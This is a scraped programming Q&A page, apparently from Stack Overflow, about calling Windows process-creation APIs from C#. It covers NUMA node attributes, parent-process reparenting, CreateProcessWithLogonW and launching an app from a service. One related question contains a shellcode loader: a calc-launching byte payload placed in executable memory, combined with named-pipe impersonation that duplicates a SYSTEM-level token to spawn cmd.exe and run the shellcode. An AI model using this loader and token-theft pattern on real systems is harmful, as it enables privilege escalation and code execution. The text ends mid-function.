How to PInvoke UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PREFERRED_NODE attribute - c#

I'm trying to PInvoke UpdateProcThreadAttribute() with PROC_THREAD_ATTRIBUTE_PREFERRED_NODE attribute, so that I could launch a process on a specific NUMA node. I'm working on Windows Server 2019.
I found this question that helped me to PInvoke UpdateProcThreadAttribute():
How to call CreateProcess() with STARTUPINFOEX from C# and re-parent the child
When I'm using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS everything works fine, but when trying to set PROC_THREAD_ATTRIBUTE_PREFERRED_NODE as an attribute I keep getting error 24: ERROR_BAD_LENGTH (The program issued a command but the command length is incorrect).
public class ProcessCreator
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
static extern uint GetLastError();
public static bool CreateProcess(string appName, string args, string dir, out PROCESS_INFORMATION pInfo, ILogger logger)
{
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
const int PROC_THREAD_ATTRIBUTE_PREFERRED_NODE = 0x00020004;
pInfo = new PROCESS_INFORMATION();
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
IntPtr lpValue = IntPtr.Zero;
try
{
var lpSize = IntPtr.Zero;
var success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
return false;
}
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
success = InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
return false;
}
// This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
// Setting preferred NUMA to be 0, for example.
Marshal.WriteIntPtr(lpValue, (IntPtr)0);
success = UpdateProcThreadAttribute(
sInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PREFERRED_NODE,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
if (!success)
{
logger.Info($"Error: {GetLastError()}");
return false;
}
var pSec = new SECURITY_ATTRIBUTES();
var tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
return CreateProcess(appName, args, ref pSec, ref tSec, false, 0, IntPtr.Zero, dir, ref sInfoEx, out pInfo);
}
finally
{
// Free the attribute list
if (sInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
}
Marshal.FreeHGlobal(lpValue);
// Close process and thread handles
if (pInfo.hProcess != IntPtr.Zero)
{
CloseHandle(pInfo.hProcess);
}
if (pInfo.hThread != IntPtr.Zero)
{
CloseHandle(pInfo.hThread);
}
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
}
Any help would be much appreciated.

Related

How to use an available token to create a new thread in C#?

This code tries to impersonate token of any client that connects to the named pipe that is provided as argument to the code. After receiving the token in hSystemtoken, this token would be used to call CreateProcessWithTokenW. However I also want to call the shellcode using this token. What is the way to achieve this?
CreateProcessThread is one way to start a thread. Looking through the documentation I also understand there is a function SetThreadToken which I tried in my code but that did not work. Is there a simpler way to do this?
using System;
using System.Runtime.InteropServices;
namespace console_csharp
{
[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
public struct TOKEN_USER
{
public SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode,
uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize,
uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentThread();
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool
OpenAsSelf, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(IntPtr TokenHandle, uint TokenInformationClass,
IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength);
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
IntPtr lpTokenAttributes,
uint ImpersonationLevel,
uint TokenType,
out IntPtr phNewToken);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
UInt32 dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
UInt32 dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
// SetThreadToken
[System.Runtime.InteropServices.DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
static void Main(string[] args)
{
//brings up calc
byte[] buf = new byte[319] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xdd,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0xb6,0x91,0x18,0x2b,0x1c,0x05,0x92,0x1b,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x4a,0xd9,0x9b,0xcf,0xec,0xed,
0x52,0x1b,0xb6,0x91,0x59,0x7a,0x5d,0x55,0xc0,0x4a,0xe0,0xd9,0x29,0xf9,0x79,
0x4d,0x19,0x49,0xd6,0xd9,0x93,0x79,0x04,0x4d,0x19,0x49,0x96,0xd9,0x93,0x59,
0x4c,0x4d,0x9d,0xac,0xfc,0xdb,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xad,0x79,
0x57,0x1e,0x29,0xb2,0x5a,0x77,0x58,0x15,0x6a,0x1d,0xc4,0x70,0xf6,0xe4,0xd0,
0x49,0x63,0x97,0x57,0xb2,0x90,0xf4,0xad,0x50,0x2a,0xcc,0x8e,0x12,0x93,0xb6,
0x91,0x18,0x63,0x99,0xc5,0xe6,0x7c,0xfe,0x90,0xc8,0x7b,0x97,0x4d,0x8a,0x5f,
0x3d,0xd1,0x38,0x62,0x1d,0xd5,0x71,0x4d,0xfe,0x6e,0xd1,0x6a,0x97,0x31,0x1a,
0x53,0xb7,0x47,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xd0,0xd9,0xe2,0x11,0x44,
0x93,0xda,0x8e,0x71,0x6d,0xda,0x50,0x06,0xde,0x3f,0xbe,0xd4,0x21,0xfa,0x69,
0xdd,0xca,0x5f,0x3d,0xd1,0x3c,0x62,0x1d,0xd5,0xf4,0x5a,0x3d,0x9d,0x50,0x6f,
0x97,0x45,0x8e,0x52,0xb7,0x41,0x59,0xa0,0x18,0x8d,0xda,0x1a,0x66,0xd0,0x40,
0x6a,0x44,0x5b,0xcb,0x41,0xf7,0xc9,0x59,0x72,0x5d,0x5f,0xda,0x98,0x5a,0xb1,
0x59,0x79,0xe3,0xe5,0xca,0x5a,0xef,0xcb,0x50,0xa0,0x0e,0xec,0xc5,0xe4,0x49,
0x6e,0x45,0x63,0xa6,0x04,0x92,0x1b,0xb6,0x91,0x18,0x2b,0x1c,0x4d,0x1f,0x96,
0xb7,0x90,0x18,0x2b,0x5d,0xbf,0xa3,0x90,0xd9,0x16,0xe7,0xfe,0xa7,0xf5,0x27,
0xb9,0xe0,0xd0,0xa2,0x8d,0x89,0xb8,0x0f,0xe4,0x63,0xd9,0x9b,0xef,0x34,0x39,
0x94,0x67,0xbc,0x11,0xe3,0xcb,0x69,0x00,0x29,0x5c,0xa5,0xe3,0x77,0x41,0x1c,
0x5c,0xd3,0x92,0x6c,0x6e,0xcd,0x48,0x7d,0x69,0xf1,0x35,0xd3,0xe9,0x7d,0x2b,
0x1c,0x05,0x92,0x1b };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
//IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,IntPtr.Zero);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
string pipeName = args[0];
IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
ConnectNamedPipe(hPipe, IntPtr.Zero);
ImpersonateNamedPipeClient(hPipe);
IntPtr hToken;
OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
int TokenInfLength = 0;
GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
IntPtr pstr = IntPtr.Zero;
Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
string sidstr = Marshal.PtrToStringAuto(pstr);
Console.WriteLine(#"Found sid {0}", sidstr);
// phNewToken will be the handle to new token
IntPtr hSystemToken = IntPtr.Zero;
DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);
// using that process to start a cmd.exe
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi);
// lets try call thread with token now
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
SetThreadToken(hThread, hSystemToken);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
thanks

Access violation calling CreateProcess in C#

I am trying to write C# code that, running in an elevated process, creates a non-elevated process. The (only) answer to the SO question How to call CreateProcess() with STARTUPINFOEX from C# and re-parent the child contains ready-to-use code. I copied this code, but instead of creating a process, it throws an AccessViolationException. The exception text Attempted to read or write protected memory. This is often an indication that other memory is corrupt. does not help to identify the culprit, however from low-level debugging I can see that the processor is trying to read from memory at a very small address like 0x00000004 which, of course, goes wrong.
The code, briefly explained, retrieves a handle of the desktop process, then calls InitializeProcThreadAttributeList and UpdateProcThreadAttribute to initialize the respective fields of a STARTUPINFOEX struct which is then passed into the CreateProcess Windows API function. CreateProcess should then create the new process as a child of the desktop process.
This function expects in its 9th parameter a pointer to either a STARTUPINFO or a STARTUPINFOEX (which contains a STATUPINFO at its begin). If it's a STARTUPINFOEX, the 6th parameter should contain the EXTENDED_STARTUPINFO_PRESENT flag.
When I don't pass the EXTENDED_STARTUPINFO_PRESENT flag so that CreateProcess think it's being passed just a STARTUPINFO, all works fine except that the created process is elevated (as is the calling process). However, as soon as I add this flag, the access violation occurs. For hours I have tried modifying parameter attributes etc., but the problem persists. I have the essentially same code running in C++, so I know it can work. What am I doing wrong?
The code below doesn't contain elaborated error checking, but it should compile and demonstrate the problem out of the box.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace RunNonElevatedCSharp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
StartNonElevated(#"C:\WINDOWS\system32\cmd.exe", "");
}
public static int StartNonElevated(string strAppPath, string strCommandLine)
{
bool bSuccess = false;
IntPtr hShellProcess = IntPtr.Zero;
var pInfo = new PROCESS_INFORMATION();
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
try
{
IntPtr hShellWnd = GetShellWindow();
if (hShellWnd == IntPtr.Zero)
{
return 0;
}
UInt32 pid;
if (GetWindowThreadProcessId(hShellWnd, out pid) == 0)
{
return 0;
}
hShellProcess = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, pid);
if (hShellProcess == IntPtr.Zero)
{
return 0;
}
IntPtr nBufferSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref nBufferSize);
if (nBufferSize == IntPtr.Zero)
{
return 0;
}
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(nBufferSize);
if (sInfoEx.lpAttributeList == IntPtr.Zero)
{
return 0;
}
if (!InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref nBufferSize))
{
return 0;
}
if (!UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hShellProcess, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
return 0;
}
// s1 and s2 may not be required
string s1 = "" + strAppPath + "";
string s2 = "";
// The next line causes an access violation unless you remove the 'EXTENDED_STARTUPINFO_PRESENT' flag
if (!CreateProcess(s1, s2, IntPtr.Zero, IntPtr.Zero, false, CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT | 0,
IntPtr.Zero, null, ref sInfoEx, out pInfo))
{
return 0;
}
bSuccess = true;
CloseHandle(pInfo.hThread);
CloseHandle(pInfo.hProcess);
return pInfo.dwProcessId;
}
finally
{
if (!bSuccess)
{
var lastError = Marshal.GetLastWin32Error();
Debug.WriteLine("Error: " + lastError.ToString());
}
if (sInfoEx.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
}
if (hShellProcess != IntPtr.Zero)
CloseHandle(hShellProcess);
}
}
[DllImport("User32.dll", SetLastError = true)]
public static extern IntPtr GetShellWindow();
[DllImport("User32.dll", SetLastError = true)]
public static extern UInt32 GetWindowThreadProcessId(IntPtr hWnd, out UInt32 lpdwProcessId);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, int bInheritHandle, UInt32 dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)][return: MarshalAs(UnmanagedType.Bool)]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize,
IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, EntryPoint = "CreateProcessW", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
[In, Optional] IntPtr lpProcessAttributes, [In, Optional] IntPtr lpThreadAttributes,
bool bInheritHandles, uint dwCreationFlags,
[In, Optional] IntPtr lpEnvironment, [In, Optional] string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo, [Out] out PROCESS_INFORMATION lpProcessInformation);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern int CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
public const UInt32 PROCESS_CREATE_PROCESS = 0x0080;
public const int FALSE = 0;
public const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
public const uint CREATE_NEW_CONSOLE = 0x00000010;
public const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
}
When the access violation occurs, the program cannot continue; the "finally" block isn't executed.
Looking forward to any replies...
Hans
Your call to UpdateProcThreadAttribute() is wrong. The 4th parameter needs the address of hShellProcess, not the value. This is even stated as much in this answer to the other question you linked to (the code in the other question has the same bug):
Second, the lpValue parameter of the UpdateProcThreadAttribute function must be a pointer to the attribute value (in your case, parentHandle), not the value itself.
The documentation for PROC_THREAD_ATTRIBUTE_PARENT_PROCESS says:
The lpValue parameter is a pointer to a handle to a process to use instead of the calling process as the parent for the process being created. The process to use must have the PROCESS_CREATE_PROCESS access right.
You said that you copied the other answer's code, but your code does not look like the other answer's code, and certainly does not contain the fix that the other answer had provided.
In your code, change this:
if (!UpdateProcThreadAttribute(..., hShellProcess, ...))
To this:
IntPtr lpValue = IntPtr.Zero;
...
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, hShellProcess);
if (!UpdateProcThreadAttribute(..., lpValue, ...))
...
Marshal.FreeHGlobal(lpValue);

How to use CreateProcessWithLogonW with extended attributes (STARTUPINFOEX)

I really want to be able to do file redirection via shared pipes, and filter the list of inherited handles to only those stdout/stderr/stdin handles, and as far as I can find STARTUPINFOEX and extended attributes are the way to do that. I also need to be able to launch as a different user.
CreateProcess works for me when taking STARTUPINFOEX, and either passing no attributes, or a single attribute (either to change the parent, or filter the inherited handles).
CreateProcessWithLogonW works when taking STARTUPINFOEX, but only if I leave off EXTENDED_STARTUPINFO_PRESENT from the creation flags (basically treating STARTUPINFOEX as STARTUPINFO, even though startupinfo.cb is the full struct).
If I add EXTENDED_STARTUPINFO_PRESENT, I get the ever helpful "The parameter is incorrect", even without using any attributes (which works on CreateProcess)
The below works, until you uncomment // | NativeMethods.EXTENDED_STARTUPINFO_PRESENT,
public static void CreateProcessExtended(
string userName,
SecureString password)
{
var startupInfoEx = new NativeMethods.STARTUPINFOEX { StartupInfo = new NativeMethods.STARTUPINFO() };
startupInfoEx.StartupInfo.dwFlags = NativeMethods.STARTF_USESHOWWINDOW;
startupInfoEx.StartupInfo.wShowWindow = 0; // SW_HIDE
NativeMethods.PROCESS_INFORMATION processInfo;
startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx);
IntPtr passwordPtr = Marshal.SecureStringToCoTaskMemUnicode(password);
bool retVal = NativeMethods.CreateProcessWithLogonW(
userName,
null,
passwordPtr,
NativeMethods.LogonFlags.LOGON_WITH_PROFILE,
null,
#"C:\windows\system32\notepad.exe",
(uint)NativeMethods.CREATE_NO_WINDOW | NativeMethods.CREATE_SUSPENDED,// | NativeMethods.EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero,
null,
ref startupInfoEx,
out processInfo);
if (!retVal)
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[return: MarshalAs(UnmanagedType.Bool)]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[DllImport("Advapi32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
public static extern bool CreateProcessWithLogonW(
string userName,
string domain,
IntPtr password,
LogonFlags logonFlags,
string lpApplicationName,
string lpCommandLine,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
Edit.1
Sent in a filtered handle attribute list in case it was a contract difference that needed the extended attributes to be something other than IntPtr.Zero. Still failed. Again, worked in CreateProcess, failed in CreateProcessWithLogonW using these new sigs:
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, uint Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

How to automatically re-open/re-start a WPF application in case of any errors? [duplicate]

This question already has answers here:
How do I restart a WPF application? [duplicate]
(8 answers)
Closed 9 years ago.
I have a full-screen WPF application which runs at start-up on Windows 7 Ultimate. In case the application crashes/closes in the event of an unhandled exception I need to restart the WPF application automatically.
What is the simplest way to do it?
in above case u can use a windows service to monitor the application. in the processes wether if its running or not. if it has stoped for any reason then the service must start this application again.
Twist: in Windows Vista microsoft changed windows security system. there for Windows Services will start under Session 0. which is a issue to be consider here. but to execute the Windows applicaton from the Window Service you can use below code.
public class ProcessAsUser
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx", SetLastError = true)]
private static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
Int32 ImpersonationLevel,
Int32 dwTokenType,
ref IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
UInt32 DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("userenv.dll", SetLastError = true)]
private static extern bool CreateEnvironmentBlock(
ref IntPtr lpEnvironment,
IntPtr hToken,
bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
private static extern bool DestroyEnvironmentBlock(
IntPtr lpEnvironment);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(
IntPtr hObject);
private const short SW_SHOW = 5;
private const uint TOKEN_QUERY = 0x0008;
private const uint TOKEN_DUPLICATE = 0x0002;
private const uint TOKEN_ASSIGN_PRIMARY = 0x0001;
private const int GENERIC_ALL_ACCESS = 0x10000000;
private const int STARTF_USESHOWWINDOW = 0x00000001;
private const int STARTF_FORCEONFEEDBACK = 0x00000040;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private static bool LaunchProcessAsUser(string cmdLine, IntPtr token, IntPtr envBlock)
{
bool result = false;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
SECURITY_ATTRIBUTES saProcess = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES saThread = new SECURITY_ATTRIBUTES();
saProcess.nLength = (uint)Marshal.SizeOf(saProcess);
saThread.nLength = (uint)Marshal.SizeOf(saThread);
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(si);
//if this member is NULL, the new process inherits the desktop
//and window station of its parent process. If this member is
//an empty string, the process does not inherit the desktop and
//window station of its parent process; instead, the system
//determines if a new desktop and window station need to be created.
//If the impersonated user already has a desktop, the system uses the
//existing desktop.
si.lpDesktop = #"WinSta0\Default"; //Modify as needed
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_FORCEONFEEDBACK;
si.wShowWindow = SW_SHOW;
//Set other si properties as required.
result = CreateProcessAsUser(
token,
null,
cmdLine,
ref saProcess,
ref saThread,
false,
CREATE_UNICODE_ENVIRONMENT,
envBlock,
null,
ref si,
out pi);
if (result == false)
{
int error = Marshal.GetLastWin32Error();
string message = String.Format("CreateProcessAsUser Error: {0}", error);
Debug.WriteLine(message);
}
return result;
}
private static IntPtr GetPrimaryToken(int processId)
{
IntPtr token = IntPtr.Zero;
IntPtr primaryToken = IntPtr.Zero;
bool retVal = false;
Process p = null;
try
{
p = Process.GetProcessById(processId);
}
catch (ArgumentException)
{
string details = String.Format("ProcessID {0} Not Available", processId);
Debug.WriteLine(details);
throw;
}
//Gets impersonation token
retVal = OpenProcessToken(p.Handle, TOKEN_DUPLICATE, ref token);
if (retVal == true)
{
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.nLength = (uint)Marshal.SizeOf(sa);
//Convert the impersonation token into Primary token
retVal = DuplicateTokenEx(
token,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY,
ref sa,
(int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
(int)TOKEN_TYPE.TokenPrimary,
ref primaryToken);
//Close the Token that was previously opened.
CloseHandle(token);
if (retVal == false)
{
string message = String.Format("DuplicateTokenEx Error: {0}", Marshal.GetLastWin32Error());
Debug.WriteLine(message);
}
}
else
{
string message = String.Format("OpenProcessToken Error: {0}", Marshal.GetLastWin32Error());
Debug.WriteLine(message);
}
//We'll Close this token after it is used.
return primaryToken;
}
private static IntPtr GetEnvironmentBlock(IntPtr token)
{
IntPtr envBlock = IntPtr.Zero;
